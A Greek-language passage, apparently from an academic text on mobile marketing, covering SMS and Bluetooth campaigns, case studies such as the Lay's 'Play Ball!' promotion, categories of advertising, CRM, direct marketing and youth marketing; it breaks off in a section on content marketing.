Λόγω του ότι είναι πιο γρήγορο, οι πελάτες μπορεί να επιθυμούν να επικοινωνούν µε την επιχείρηση µέσω sms απ’ ότι µέσω τηλεφώνου.

•

Δίνει τη δυνατότητα λήψης feedback από τους πελάτες µε το να χρησιμοποιήσουν απλούς αριθμούς κινητής τηλεφωνίας ή τετραψήφιους και αυτή η διαδικασία μπορεί εύκολα να χρησιμοποιηθεί στις ήδη υπάρχουσες διαφημιστικές καμπάνιες.

•

Οι πελάτες έχουν τη δυνατότητα να συμμετάσχουν ενεργά στις Marketing Campaigns που διενεργούνται.

Όσον αφορά τη στόχευση το Mobile Marketing: •

Έχει πιο χαμηλό κόστος διαφήμισης, αν οι πελάτες επιθυμούν να απαντήσουν χρησιμοποιώντας έναν τετραψήφιο αριθμό µε premium χρέωση.

•

Πραγματοποιείται προσέγγιση των τμημάτων της αγοράς, των οποίων τα χαρακτηριστικά σχετίζονται µε εκείνα των αγορών-στόχων, όπως αυτές είναι καθορισμένες από την εταιρία.

•

Η παραμετροποίηση μπορεί να είναι ακόμη και 1:1 (προσωποποίηση), ώστε η ενημέρωση να συμβαδίζει µε τα ενδιαφέροντα του πελάτη.

•

Δίνει τη δυνατότητα επιλογής τόπου και χρόνου µέσω της υπηρεσίας Bluetooth.

Όσον αφορά την προώθηση το Mobile Marketing: •

Μπορεί να δημιουργήσει καμπάνιες σε πραγματικό χρόνο, αν η αποστολή μηνύματος δηλαδή γίνει αυτή τη στιγμή τότε τα αποτελέσματα είναι άμεσα.

•

Η επιχείρηση έχει την ικανότητα να ελέγχει άμεσα την αποδοτικότητα των προωθητικών

ενεργειών,

χρησιμοποιώντας

είτε

τεχνικά

μέσα,

είτε

αλληλοεπιδρώντας µε την αγορά-στόχο. •

Δεδομένων των δυνατοτήτων στόχευσης, το κόστος μιας υλοποίησης Mobile Marketing είναι χαμηλότερο σε σχέση µε άλλα κανάλια επικοινωνίας, ειδικά αν συνυπολογιστεί µε δείκτες απόδοσης/κόστους.

•

Το Mobile Marketing δεν είναι απαραίτητα ένας ανεξάρτητος δίαυλος επικοινωνίας, αλλά μπορεί να ολοκληρωθεί και µε τα υπόλοιπα μέσα ώστε η επιχείρηση να προσφέρει ολοκληρωμένη προβολή στους πελάτες της.

Μην μπορώντας να παραβλέψουν τα προαναφερθέντα πλεονεκτήματα, όλα τα στελέχη της ελληνικής αγοράς, προσπαθούν πλέον να συμπράξουν το mobile marketing µε τα αναφερόμενα παραδοσιακά μέσα (τηλεόραση, ραδιόφωνο κλπ.) αλλά και να τα αξιοποιήσουν ως μέσο σύνδεσης µε το internet. Χαρακτηριστική είναι η κίνηση των υπεύθυνων της εταιρίας Tasty Foods (βιομηχανία τροφίμων), όπως αναφέρει ο Νικόπουλος στο Marketing Week, οι οποίοι, στην προσπάθειά τους να συσχετίσουν το mobile marketing µε τα άλλα μέσα, διοργάνωσαν µία καμπάνια για τα Lay’s Chips που στηριζόταν εξ’ ολοκλήρου στο mobile marketing. Λαμβάνοντας υπόψη την αποτελεσματικότητα που έχει µία mobile καμπάνια, η Tasty Foods ανέθεσε στη Velti να σχεδιάσει και να υλοποιήσει την sms καμπάνια Play Ball!, µε σκοπό να αυξήσει την αναγνωσιμότητα των Lay’s Chips και να προωθήσει τη χορηγία του ποδοσφαιριστή Ronaldinho. Το θέμα της καμπάνιας ήταν ένας διαγωνισμός ο οποίος έγινε γνωστός, µέσω

μίας προωθητικής κίνησης, κατά την οποία οι καταναλωτές μπορούσαν να βρουν δεκαψήφιους κωδικούς συμμετοχής για το συγκεκριμένο διαγωνισμό, οι οποίοι περιέχονταν σε σχεδόν 15.000.0000 πακέτα Lay’s Chips. Αυτό που έπρεπε να κάνουν οι καταναλωτές ήταν να στείλουν αυτόν τον κωδικό µέσω των κινητών τους τηλεφώνων σε συγκεκριμένο τετραψήφιο αριθμό µε σκοπό να κερδίσουν wallpapers και videos, όπως επίσης και να εξασφαλίσουν τη συμμετοχή τους σε ωριαίες, ημερήσιες και εβδομαδιαίες κληρώσεις κερδίζοντας μικρά και μεγάλα δώρα. Με κάθε μήνυμα που έστελναν αυτοί που συμμετείχαν στο διαγωνισμό, κέρδιζαν 10 πόντους. Έτσι, όσους περισσότερους πόντους μάζευαν, τόσο περισσότερες πιθανότητες είχαν να κερδίσουν κάποιο από τα δώρα που θα κληρώνονταν. Αξίζει να σημειωθεί, ότι η παραπάνω καμπάνια βασίστηκε στην πλατφόρμα Mobile Marketing της Velti, η οποία έχει σχεδιαστεί για να επιτρέπει την εύκολη, αποτελεσματική και γρήγορη υλοποίηση διάφορων τύπων mobile ενεργειών, όπως για παράδειγμα οι ενέργειες sms/mms. Δε θα έπρεπε να παραληφθεί η διαπίστωση ότι οι καμπάνιες sms/mms, παρόλο που είναι ένας συνηθισμένος τρόπος προώθησης προϊόντων, απαιτούν και υψηλή τεχνολογία στη διαχείρισή τους από τη μεριά των επιχειρήσεων η οποία να συνδυάζει τη δημιουργικότητα µε τη διάδραση. Μέσω ενός απλού interface οι marketers της επιχείρησης, έχουν τη δυνατότητα να διαλέξουν από µία ευρεία γκάμα ενεργειών, να δημιουργήσουν τους συνδυασμούς που επιθυμούν και να προγραμματίσουν, να υλοποιήσουν και να παρακολουθήσουν αρκετές καμπάνιες σε πραγματικό χρόνο. Επίσης, όποτε το θελήσουν οι υπεύθυνοι μπορούν να επέμβουν και να κάνουν όποιες ρυθμίσεις θέλουν πάνω στην καμπάνια µε σκοπό να βελτιώσουν την αποτελεσματικότητα της. Μπορούν επίσης να ενημερωθούν και για θέματα όπως για τα στοιχεία όλων των εν εξελίξει προωθητικών ενεργειών ανά κλάδο, ανά προϋπολογισμό ή πελάτη κ.ά., µέσω των εξελιγμένων εργαλείων ανάλυσης και παρακολούθησης. Μία άλλη επιτυχημένη καμπάνια, είναι αυτή της βρετανικής εταιρίας εσωρούχων Bravissimo, κατά την οποία η sms καμπάνια της προσέφερε σημαντικά στοιχεία για το ROI (Return On Investment) της «above the line» επικοινωνίας της. Αυτό που έκανε η εταιρία ήταν αρχικά να προβάλει τα μοντέλα της ανοιξιάτικης κολεξιόν µε τηλεοπτικά και ραδιοφωνικά σποτ, όπως και καταχωρήσεις. Σε καθένα από αυτά τα μοντέλα που εμφανίζονταν στις «above the line3 » διαφημίσεις, ανήκε και ένας μοναδικός κωδικός όπως επίσης και η ενημερωτική επισήμανση ότι όλες οι καταναλώτριες θα μπορούν να παραγγείλουν τον ανοιξιάτικο κατάλογο της εταιρίας µε το να στείλουν απλά sms χρησιμοποιώντας τον κωδικό που έβλεπαν σε κάθε διαφήμιση.

Αυτές οι παραγγελίες καταλόγων µέσω sms αντιστοιχούσαν στο 45% της συνολικής ζήτησης για καταλόγους. Η sms καμπάνια που έκανε η Bravissimo είχε κι άλλα δύο θετικά στοιχεία, α)διαπίστωσε ποια μοντέλα της είχαν μεγαλύτερη απήχηση από τις καταναλώτριες και β)ποια «above the line» διαφήμιση ήταν πιο εντυπωσιακή για το κοινό. Με βάση αυτές τις δύο περιπτώσεις, γίνεται σαφές ότι αρκετές εταιρίες έχουν κατανοήσει την αποτελεσματικότητα που έχει µία διαφήμιση µέσω sms και επωφελούνται µε αύξηση των πωλήσεών τους, καλύτερη προώθηση των νέων προϊόντων/ υπηρεσιών τους, «δημιουργία awareness καθώς και ενίσχυση CRM προγραμμάτων». Σε αυτό το σημείο θα πρέπει να παρατηρηθεί ότι η λειτουργία του Mobile Marketing σήμερα είναι µόνο συμπληρωματική ως προς τα υπόλοιπα κανάλια προώθησης προϊόντων και δε λειτουργεί ως αυτόνομο μέσο. Αυτό οφείλεται στην ανάγκη για συγκατάθεση των χρηστών να λαμβάνουν διαφημιστικά sms στο κινητό τους τηλέφωνο. Έτσι, αυτό το είδος marketing για να λειτουργήσει έχει ανάγκη από ένα παραδοσιακό κανάλι διαφήμισης π.χ. µία αφίσα στο δρόμο ή διαφήμιση σε ένα περιοδικό ή στην τηλεόραση ή μια αναφορά στη συσκευασία του προϊόντος. Με τη σειρά της, µία καμπάνια Mobile Marketing ξεκινάει τη στιγμή που ο καταναλωτής θα δείξει το ενδιαφέρον του απαντώντας µε sms σε µία διαφήμιση την οποία παρατήρησε σε ένα παραδοσιακό σημείο ή μέσο όπου αναφέρεται ένας αριθμός στον οποίο μπορεί να στείλει sms για να εκδηλώσει το ενδιαφέρον του, όπως αναφέρεται στην ιστοσελίδα. Έτσι, γίνεται κατανοητό ότι το Mobile Marketing συμπληρώνει µε επιτυχία τις διάφορες άλλες επικοινωνιακές μεθόδους, όπως τις διαφημίσεις στο ραδιόφωνο, την τηλεόραση ή ακόμα και τον τύπο. Ορισμοί Διαφήμισης Στο σημείο αυτό, κρίνεται απαραίτητη η διευκρίνιση του όρου «διαφήμιση», μιας και η προαναφερόμενη έννοια αποτελεί βασικό εργαλείο του Marketing. Σύμφωνα µε την Αμερικανική Εταιρεία Μάρκετινγκ, ένας περιεκτικός ορισμός που έχει ειπωθεί για τη διαφήμιση είναι εκείνος σύμφωνα µε τον οποίο ως διαφήμιση ορίζεται «κάθε απρόσωπη μορφή παρουσίασης και προώθησης ιδεών, αγαθών ή υπηρεσιών µε πληρωμή από αναγνωρισμένο εγγυητή ή ανάδοχο». Ένας εξίσου εύστοχος ορισμός που έχει διατυπωθεί για τη διαφήμιση είναι ο ορισμός ενός άλλου ερευνητή της διαφήμισης, όπως έχει επισημανθεί και από τον Seyffert. Σύμφωνα µε αυτόν λοιπόν «διαφήμιση είναι µία μορφή επηρεασμού η οποία µε τη σχεδιασμένη

εφαρμογή μέσων θέλει να προκαλέσει την εκούσια υιοθέτηση, εκπλήρωση και μεταφύτευση των σκοπών που αυτή προσφέρει». Ακόμη, χαρακτηριστικός και αντιπροσωπευτικός θεωρείται ο ορισμός, σύμφωνα µε τον οποίο διαφήμιση «είναι η διαδικασία γνωστοποίησης και επηρεασμού του καταναλωτικού κοινού για ένα προϊόν ή µία υπηρεσία επί πληρωμή». Κατηγορίες Διαφήμισης Σύμφωνα µε τα όσα έχουν ειπωθεί έως τώρα, παρατηρείται ότι το mobile marketing, ως νέα μορφή Marketing δικαίως απευθύνεται τόσο σε επιχειρήσεις, εταιρίες όσο και σε ιδιώτες αφού απαιτεί µόνο τις βασικές γνώσεις υπολογιστών και λειτουργεί ως άμεσο, γρήγορο, έξυπνο, προσωπικό και φθηνό εργαλείο επικοινωνίας µε φίλους, συναδέλφους, πελάτες, µέλη κοινοτήτων, συλλόγων, κομμάτων, οργανισμών, αλλά και µε συνεργάτες. Η χρήση αυτή από επιχειρήσεις, εταιρίες και ιδιώτες γίνεται για την προώθηση ή τη διαφήμιση προϊόντων και υπηρεσιών, για την ενημέρωση ή την ανταλλαγή πληροφοριών, για οποιεσδήποτε υπενθυμίσεις και ακόμα και για την αποστολή ευχητήριων καρτών. Επίσης, παρατηρείται ότι υπάρχουν και διάφορες κατηγορίες διαφημίσεων οι οποίες δημιουργήθηκαν για να καλύψουν την ανάγκη για ταξινόμησή τους και οι οποίες έχουν άμεση σχέση µε το Mobile Marketing, καθώς αυτές εξυπηρετούν τους σκοπούς του. Αυτές είναι οι εξής: 1. Διαφήμιση Πρωτογενούς ή Πρωταρχικής Ζήτησης: Είναι η διαφήμιση η οποία έχει σχεδιαστεί µε τέτοιο τρόπο, ώστε να προσελκύσει θετικά τον καταναλωτή, µε αποτέλεσμα την αύξηση της ζήτησης μιας κατηγορίας προϊόντος ή ενός ολόκληρου κλάδου. 2. Διαφήμιση που εστιάζει το ενδιαφέρον της στη Ζήτηση του Επώνυμου Προϊόντος: Είναι η διαφήμιση η οποία έχει τη μεγαλύτερη συχνότητα εμφάνισης και απευθύνεται στους δυνητικούς καταναλωτές, µε σκοπό να τους ενημερώσει και να τους ωθήσει να έχουν θετική στάση. Επικεντρώνεται σε ένα συγκεκριμένο προϊόν, καθώς και στα χαρακτηριστικά και στα πλεονεκτήματα του και κάνει αναφορές στον ανταγωνισμό. 3. Διαφήμιση Εμπιστοσύνης - Προσήλωσης προς το Προϊόν: Είναι η διαφήμιση η οποία έχει σχεδιαστεί για να δημιουργήσει, να διατηρήσει ή να αυξήσει την εμπιστοσύνη του καταναλωτικού κοινού προς ένα συγκεκριμένο επώνυμο προϊόν, µε σκοπό την αντίσταση των καταναλωτών απέναντι στα αντίστοιχα ανταγωνιστικά προϊόντα.

4. Διαφήμιση Προώθησης των Πωλήσεων: Είναι η διαφήμιση η οποία διατυπώνει ένα σύντομο μήνυμα το οποίο περιέχει πληροφορίες για κουπόνια, εκπτώσεις, προσφορές, διαγωνισμούς κλπ., µε σκοπό να αυξήσει τις πωλήσεις σε κάποια συγκεκριμένα προϊόντα. 5. Διαφήμιση Προβολής του Προϊόντος: Είναι η διαφήμιση η οποία έχει σκοπό να γνωστοποιήσει στους καταναλωτές τα χαρακτηριστικά, τις ιδιότητες, τα συγκριτικά πλεονεκτήματα και ό,τι έχει σχέση µε ένα συγκεκριμένο προϊόν. 6. Διαφήμιση Λιανοπωλητών: Είναι η διαφήμιση η οποία α) προβάλλει µία «εικόνα» και πληροφορεί τους δυνητικούς καταναλωτές για τα οφέλη που θα έχουν αν επιλέξουν ένα συγκεκριμένο κατάστημα και β) προωθεί τις πωλήσεις ενός καταστήματος. 7. Γενική Διαφήμιση μιας Επιχείρησης, ενός Οργανισμού, ενός Φορέα: Είναι η διαφήμιση η οποία αναφέρεται στις δραστηριότητες, τα προβλήματα και τις απόψεις ενός φορέα, µε σκοπό να αποκτήσει την εύνοια και την υποστήριξη του κοινού. 8. Συνδεδεμένη ή Συνεργατική Διαφήμιση: Είναι η διαφήμιση την οποία αναλαμβάνουν ταυτόχρονα δύο ή περισσότεροι φορείς και αποσκοπεί στο να προωθήσει ένα ή περισσότερα προϊόντα. Μία ακόμη κατηγορία διαφήμισης, η οποία δεν αφορά το Mobile Marketing, είναι και η Διαφήμιση από Επιχείρηση σε Επιχείρηση, η οποία έχει σχεδιαστεί για επιχειρήσεις οι οποίες ενδιαφέρονται για την ενσωμάτωση ενός συγκεκριμένου προϊόντος, είτε σαν κεφαλαιουχικό αγαθό, είτε σαν ενδιάμεσο προϊόν, είτε σαν πρώτη ύλη στην παραγωγική διαδικασία και η οποία εμφανίζεται σε εξειδικευμένες εκδόσεις, ειδικές εκθέσεις και περιοδικά. Δεν είναι λίγες οι εταιρίες παροχής υπηρεσιών mobile marketing που αποσκοπούν να βοηθήσουν τις επιχειρήσεις να ξεχωρίσουν στον ανταγωνισμό. Ο βασικός τρόπος λειτουργίας των εταιριών αυτών άπτεται μίας απλής διαδικασίας, η οποία συνοψίζεται στα ακόλουθα βήματα: 1. Δημιουργία Του Μηνύματος 2. Αποστολή Του Μηνύματος Σε Επιλεγμένο Target Group 3. Δυνατότητα Ελέγχου Προσδοκώμενου Αποτελέσματος Εταιρίες τέτοιου τύπου είναι: •

Η UpMate Business & Internet Solutions.

•

Η Cardisoft, η οποία δίνει τη δυνατότητα σε μικρές και μεγάλες επιχειρήσεις να στέλνουν και να λαμβάνουν γραπτά μηνύματα.

•

Η HellasNet, η οποία ήταν και χορηγός του Mobile Marketing Forum το 2005.

•

Η InternetQ, η οποία από το 1995 παρέχει ολοκληρωμένες λύσεις σε εταιρίες σε θέματα που αφορούν υπηρεσίες κινητής τηλεφωνίας και Internet. Επίσης είναι µία από τις πρώτες εταιρίες στην Ελλάδα που ασχολήθηκε µε την κινητή τηλεφωνία αναπτύσσοντας «μερικές από τις πρώτες εμπορικά διαθέσιμες εφαρμογές SMS and WAP».

•

Η Internet Hellas AE, η οποία ασχολείται µε την παροχή υπηρεσιών πρόσβασης µέσω Internet και αναλαμβάνει τη μαζική αποστολή sms και διαθέτει και υπηρεσίες αμφίδρομης επικοινωνίας µέσω sms.

•

Η Upstream, η οποία µε τη σειρά της ειδικεύεται σε λογιστικές εφαρμογές και σε υπηρεσίες που δίνουν τη δυνατότητα για σύγκλιση των τεχνολογιών της κινητής τηλεφωνίας µε τα μέσα μαζικής ενημέρωσης.

Τέλος, η Hellas on Line, εταιρία του Οµίλου EFG EUROBANK ERGASIAS η οποία είναι µία από τις μεγαλύτερες ελληνικές εταιρίες που παρέχει τηλεπικοινωνιακές υπηρεσίες µε βάση το Internet. Όπως αναφέρεται χαρακτηριστικά, η Hellas On Line δραστηριοποιείται στο χώρο της παροχής περιεχομένου και marketing υλικού στην αγορά της κινητής τηλεφωνίας. Bluetooth Marketing Το «Bluetooth Marketing» ή αλλιώς «Proximity Marketing» αποτελεί ένα είδος Mobile Marketing, κατά το οποίο λαμβάνει χώρα ένας «συνδυασμός των τεχνολογιών mobile VAS (Value Added Services) και LBS (Location Based Services)». Συγκεκριμένα το Bluetooth Marketing βοηθάει στην καλύτερη επιλογή αποδεκτών, στα σηµεία και στο χρονισμό που μπορεί να είναι διαθέσιμο το μήνυμα και πάνω από όλα το σημαντικό είναι ότι είναι εντελώς δωρεάν για τους καταναλωτές. Αυτό το μέσο προβολής έχει αρκετά πλεονεκτήματα διότι κάνει χρήση όλων των διαθέσιμων ειδών multimedia. Όπως είναι κατανοητό τέτοιες ενέργειες είναι αξιοποιήσιμες σε μέρη όπου είναι συγκεντρωμένος αρκετός κόσμος, όπως σε εμπορικά κέντρα. Τέτοιες ενέργειες έχουν γίνει για το βιβλιοπωλείο Bolders, για την Opel και για την Puma. Η διαφημιστική ιδέα και ενέργεια αφορούσε στην αποστολή εκπτωτικών κουπονιών, από τις συγκεκριμένες επιχειρήσεις, µέσω κινητού τηλεφώνου εφαρμόζοντας τη λειτουργία Bluetooth. Το Mobile Marketing δύναται να απευθύνει τις υπηρεσίες του σε διάφορους υποψήφιους χρήστες, οι οποίοι και παρατίθενται παρακάτω. Αυτοί είναι οι εξής:

1. Οργανισμοί, σύλλογοι, γκρουπς, κόμματα και κοινότητες. Η μαζική αποστολή μηνυμάτων, στις εν λόγω περιπτώσεις εξυπηρετεί σε πρακτικές όπως η αποστολή ευχών, η άμεση ενημέρωση µελών / πελατών για προσφορές ή/ και η ειδοποίηση για κάποια συνάντηση-συγκέντρωση. 2. Χώροι διασκέδασης (π.χ. καφετερίες, clubs, κινηματογράφοι, ταβέρνες ή/ και εστιατόρια). Με αυτόν τον τρόπο οι παραλήπτες, έχουν τη δυνατότητα να ενημερωθούν για θέματα, όπως η πρώτη προβολή μιας ταινίας, τη διοργάνωση ενός πάρτι, ενός event ή ακόμη μιας ειδικής βραδιάς ή/ και η ύπαρξη προσκλήσεων για μια ιδιαίτερη συγκέντρωση. 3. Ταξιδιωτικά γραφεία. Με τη μαζική αποστολή μηνυμάτων, δίνεται η δυνατότητα στους χρήστες να ενημερωθούν σχετικά µε εισιτήρια που αφορούν διάφορους προορισμούς, αφίξεις-αναχωρήσεις, καθώς και ενημέρωση για πακέτα προσφορών. 4. Εταιρίες κινητής τηλεφωνίας. Αναλαμβάνουν να ενημερώσουν τους χρήστες για τις προσφορές και τα νέα τους προγράμματα. 5. Τράπεζες, ασφαλιστικές και χρηματιστηριακές εταιρίες. Οι εν λόγω επιχειρήσεις μπορούν, µέσω της χρήσης της υπηρεσίας των sms, να προεξοφλήσουν την ανάγνωση εκ μέρους του παραλήπτη- ενημερώσεων για θέματα όπως οι αλλαγές στα επιτόκια, η τρέχουσα τιμή μιας μετοχής, οι διακυμάνσεις του χρηματιστηριακού δείκτη, η τρέχουσα κατάσταση ενός portfolio / χαρτοφύλακα. Τέλος, υπάρχουν διάφορα εργαλεία τα οποία βοηθάνε στην καλύτερη λειτουργία και την πραγματοποίηση του Mobile Marketing. Ενδεικτικά αναφέρονται ορισμένα από αυτά, όπως είναι οι διαγωνισμοί, τα κουπόνια, τα κουίζ, τα δημοψηφίσματα, οι χορηγίες, οι ειδοποιήσεις, κ.ά. Στατιστικά Στοιχεία Προωθητικών Ενεργειών Μέσω SMS Διάφορες έρευνες έχουν διεξαχθεί στην Ελλάδα σχετικά µε τα στατιστικά στοιχεία που προκύπτουν από τη χρήση sms για την προώθηση συγκεκριμένων προϊόντων από τις ελληνικές εταιρίες. Αξίζουν να αναφερθούν τα αποτελέσματα μίας εξ αυτών, σύμφωνα µε τα οποία το 77% των ατόμων, τα οποία πήραν μέρος σε διαφημιστικές καμπάνιες µέσω sms, διάβασαν το μήνυμα αμέσως μόλις το έλαβαν στο κινητό τους. Αναφορικά µε την κατάσταση που επικρατεί στις ΗΠΑ, χαρακτηριστικά είναι τα αποτελέσματα σχετικής έρευνας, η οποία περατώθηκε από την εταιρία Kelsey Group, υπεύθυνη για στατιστικές αναλύσεις στις ΗΠΑ. Σύμφωνα µε αυτά τα δεδομένα, αναμένεται ότι οι διαφημιστικές δαπάνες των εταιριών που περνούν τα διαφημιστικά τους μηνύματα

µέσω των φορητών συσκευών, θα φτάσουν µόνο για φέτος τα 3,2 εκατομμύρια δολάρια ενώ για το 2012 τα 1,4 δισεκατομμύρια δολάρια. Επί προσθέτως, ενδιαφέροντα φαίνεται να είναι και τα συμπεράσματα που προκύπτουν από άλλες έρευνες, σύμφωνα µε τα οποία:

1. Η κατοχή κινητών τηλεφώνων σε σχέση µε την κατοχή ηλεκτρονικών υπολογιστών κυμαίνεται σε κλίμακα 10 προς 1 αντίστοιχα. 2. Σε καθημερινή βάση στέλνονται περισσότερα sms από e-mails. 3. Μόνο την 01/01/2005 στάλθηκαν 133 εκατομμύρια μηνύματα. 4. Το 94% των sms που στέλνονται καθημερινά διαβάζονται, ενώ από αυτά το 75% διαβάζεται αμέσως. 5. Το ποσοστό των χρηστών της κινητής τηλεφωνίας που θυμούνται διαφημιστικές καμπάνιες µέσω sms ανέρχεται στο 66%, ενώ το 36% αυτών αποδέχονται ότι µε αφορμή ένα sms μπορεί και να έκαναν µία αγορά. Τέλος, µία ακόμη έρευνα έδειξε ότι το 74% των καταναλωτών εμπιστεύονται περισσότερο τους παρόχους κινητής τηλεφωνίας (Vodafone, Cosmote, κ.ά), για τη λήψη των διαφημιστικών μηνυμάτων, σε αντίθεση µε το 20% οι οποίοι προτιμούν να λαμβάνουν μηνύματα άμεσα από τους διαφημιζόμενους. Το Marketing, ως μέθοδος προώθησης των προϊόντων, φυσικό είναι να διαθέτει και κάποια εργαλεία προκειμένου να επιτευχθούν οι σκοποί του. Από αυτά θα γίνει αναφορά στο CRM, καθώς, όπως περιγράφεται και στη συνέχεια, η σχέση του µε το Mobile Marketing είναι καθοριστική αναφορικά µε την επιτυχή έκβαση της προώθησης κάποιου προϊόντος. Πιο συγκεκριμένα, το CRM (Customer Relationship Management) όπως φαίνεται αποτελεί ένα μέσο διαχείρισης των πελατειακών σχέσεων και λειτουργεί ως εξής: Μέσα από µία σειρά εφαρμογών, ηλεκτρονικού κυρίως χαρακτήρα, οι επιχειρήσεις μπορούν να μάθουν τις καταναλωτικές συνήθειες των πελατών τους, να τις καταγράψουν σε κάποια βάση δεδομένων, να σχεδιάσουν μια στρατηγική επαφής µε τους πελάτες και να την υλοποιήσουν, µε σκοπό την αύξηση των πωλήσεών τους. Έτσι στο CRM εντοπίζονται τα εξής πλεονεκτήματα: 1. Εντοπίζει τους σημαντικότερους πελάτες. 2. Αυξάνει τα ποσά που διαθέτουν για τις καταναλωτικές τους δαπάνες.

3. Στοχεύει στην εμπορική επικοινωνία. 4. Περιορίζει τις απώλειες στην καταναλωτική βάση. 5. Δημιουργεί ένα πιστό αγοραστικό κοινό.

Όπως γίνεται κατανοητό λοιπόν, το CRM είναι ένα εργαλείο, το οποίο βοηθάει στην επίτευξη του Mobile Marketing εφόσον ασχολείται µε τη συμπεριφορά των καταναλωτών. Έτσι, οι επιχειρήσεις μπορούν να στείλουν πιο στοχευμένα sms και να προσελκύσουν συγκεκριμένους καταναλωτές για κάθε προϊόν και υπηρεσία ξεχωριστά, µε αποτέλεσμα να έχουν μεγαλύτερη πιθανότητα για θετικά αποτελέσματα, είτε αυτά αφορούν µόνο την ενημέρωση τους είτε και κάποια αγορά τους. Άμεσο Marketing Και Mobile Marketing Στο σημείο αυτό κρίνεται απαραίτητο να επισημανθεί η σχέση μεταξύ του άμεσου marketing µε το mobile marketing, καθώς το δεύτερο συνιστά ένα είδος του πρώτου (δηλαδή του άμεσου Marketing), το οποίο και ευθύνεται για τον άμεσο χαρακτήρα του νέου αυτού καναλιού επικοινωνίας. Η σχέση αυτή συνίσταται στη χρήση των sms, τα οποία και παρέχουν τη δυνατότητα της αμφίδρομης επικοινωνίας μεταξύ εταιριών και καταναλωτών. Σύμφωνα µε τον Οργανισμό Άμεσου Μάρκετινγκ, το άμεσο marketing ορίζεται ως: «ένα διαδραστικό σύστημα μάρκετινγκ που χρησιμοποιεί ένα ή περισσότερα διαφημιστικά μέσα για να επηρεάσει μια μετρήσιμη και/ ή συναλλαγή σε οποιαδήποτε περιοχή». Τέλος, το άμεσο marketing διαθέτει κάποιες ιδιότητες, οι οποίες είναι οι εξής: 1. Παρουσία κοντά στον πελάτη. 2. Κατανόηση των αναγκών του. 3. Ανταπόκριση «προσωπικά». 4. Διατήρηση σχέσης και μετά από την πώληση. Youth Marketing Το Bluetooth Marketing και γενικά το Mobile Marketing στοχεύει κατά ένα μεγάλο ποσοστό στους νέους. Για το λόγο αυτό, καλό θα ήταν να γίνει αναφορά στο λεγόμενο Youth Marketing. Η επικοινωνία τη σημερινή εποχή είναι πολύ σημαντική και απαραίτητη για όλους τους ανθρώπους και ειδικά για τους νέους οι οποίοι ασχολούνται τις περισσότερες ώρες της

ημέρας µε τα κινητά τους τηλέφωνα είτε για να μιλήσουν, είτε για να διασκεδάσουν, είτε γιατί το θεωρούν σύμβολο και για πολλούς άλλους λόγους. Όπως αναφέρεται στο Marketing Week, έρευνες έδειξαν ότι «οι νέοι 15-19 χρονών αποτελούν ανερχόμενη αγοραστική δύναμη, µε συνεχή αυξητική δύναμη», όπου τα περισσότερα χρήματα τους τα ξοδεύουν για κινητά τηλέφωνα. Οι εταιρίες θέλοντας να εκμεταλλευτούν τη σχέση των νέων µε τα κινητά τους, προσπαθούν να μιλήσουν στη «γλώσσα» τους και να τους προσφέρουν µε ξεκάθαρο τρόπο ένα προϊόν ή µία υπηρεσία κάνοντας τους να πιστεύουν ότι θα τους ωφελήσει. Ένας από τους τρόπους που προσπαθούν να τους προσελκύσουν είναι και αυτός που έκανε µία εταιρία κινητής τηλεφωνίας στη Μεγάλη Βρετανία, η οποία προσέφερε δωρεάν τηλεφωνήματα από τα κινητά τηλέφωνα µε τον όρο οι χρήστες να δέχονται στα κινητά τους διαφημιστικά μηνύματα. H απόπειρα προσέγγισης του νεανικού κοινού αντικατοπτρίζεται επίσης στην πολιτική, την οποία φαίνεται να ακολουθούν οι διαφημιστικές εταιρίες, σύμφωνα µε την οποία κατευθύνουν το στόχο τους σε ολοένα και μικρότερες ηλικίες, δίνοντας στο νεανικό marketing το χαρακτήρα ενός εφηβικού marketing, το οποίο µε τη σειρά του μετατράπηκε σε παιδικό marketing. Η πολιτική αυτή, βασίζεται στην ιδέα ότι τα παιδιά, ηλικίας κυρίως 8 έως 14 ετών αποτελούν τεράστια δύναμη όσον αφορά την κατανάλωση προϊόντων, πράγμα διόλου περίεργο δεδομένης της επιρροής που τα ίδια ασκούν στους γονείς τους προκειμένου να τους αγοράσουν το αγαπημένο τους αντικείμενο. Άμεση απόρροια αυτού του φαινομένου είναι η πίεση των παιδιών της προαναφερόμενης ηλικιακής ομάδας από τις βιομηχανίες να μεγαλώσουν, µε σκοπό τα πρώτα να συμπεριφέρονται ως έφηβοι (και όχι ως προέφηβοι που είναι) και κατά συνέπεια να εντείνουν την αγοραστική τους ισχύ. Η καταναλωτική δύναμη των παιδιών και των εφήβων και η σχέση τους µε την τεχνολογία και το κινητό τους τηλέφωνο φαίνεται να επηρεάζει τόσο τις καθημερινές τους συνήθειες όσο και το επίπεδο επιρροής τους από τα διαφημιστικά μέσα που προωθούν προϊόντα µέσω αυτής της αγαπημένης τους συσκευής. Οι συνήθειες για τις οποίες γίνεται λόγος φαίνονται παρακάτω: 1. Στο 67% των προϊόντων που καταναλώνονται από µία οικογένεια η απόφαση της απόκτησής τους έχει επηρεαστεί από παιδιά. 2. Το 50% των παιδιών ηλικίας 8 έως 14 ετών παγκοσµίως σερφάρουν στο ίντερνετ. 3. Το 50% των παιδιών ηλικίας 8 έως 14 ετών παγκοσµίως προτιµούν να πετάξουν έξω από το δωμάτιο τους την τηλεόραση παρά τον υπολογιστή τους.

4. Το 53% των παιδιών παγκοσµίως πιστεύουν ότι οι επώνυµες µάρκες θα τα βοηθήσουν να ζήσουν καλύτερα τη ζωή τους. 5. Το 84% των παιδιών θέλουν να καταναλώνουν προϊόντα τα οποία είναι φιλικά µε το περιβάλλον. 6. Το 34% των παιδιών παγκοσµίως διαµορφώνουν αυτή τη στιγµή µία νέα παγκόσµια γλώσσα µέσω sms µηνυµάτων που ονοµάζεται TweenSpeak.

Content Marketing Οι χορηγούμενες διαφημίσεις αποτελούν την τελευταία μόδα του ψηφιακού marketing. Η δημιουργία μίας διαφήμισης έχει απλοποιηθεί τα τελευταία χρόνια με τη βοήθεια των social media. Παράλληλα, όμως, αυξάνεται και ο αριθμός των χρηστών που επιλέγουν να αποκλείουν τις διαφημίσεις από την περιήγησή τους, εγκαθιστώντας ad-blocking λογισμικά. Αυτό σημαίνει ότι σταδιακά μειώνεται η ισχύς τέτοιου είδους διαφημίσεων. Σε αυτό το πρόβλημα δίνει ενναλακτική λύση το content marketing. Όπου κι αν σταθείτε, όλοι μιλούν για το content marketing. Αυτό είναι απόλυτα λογικό καθώς πρόκειται για μια νέα και πολύ αποτελεσματική μέθοδο προσέλκυσης και διατήρησης εν δυνάμει πελατών, μέσω της δημιουργίας και διανομής πρωτότυπου περιεχομένου. Το Content Marketing κερδίζει σήμερα όλο και περισσότερο 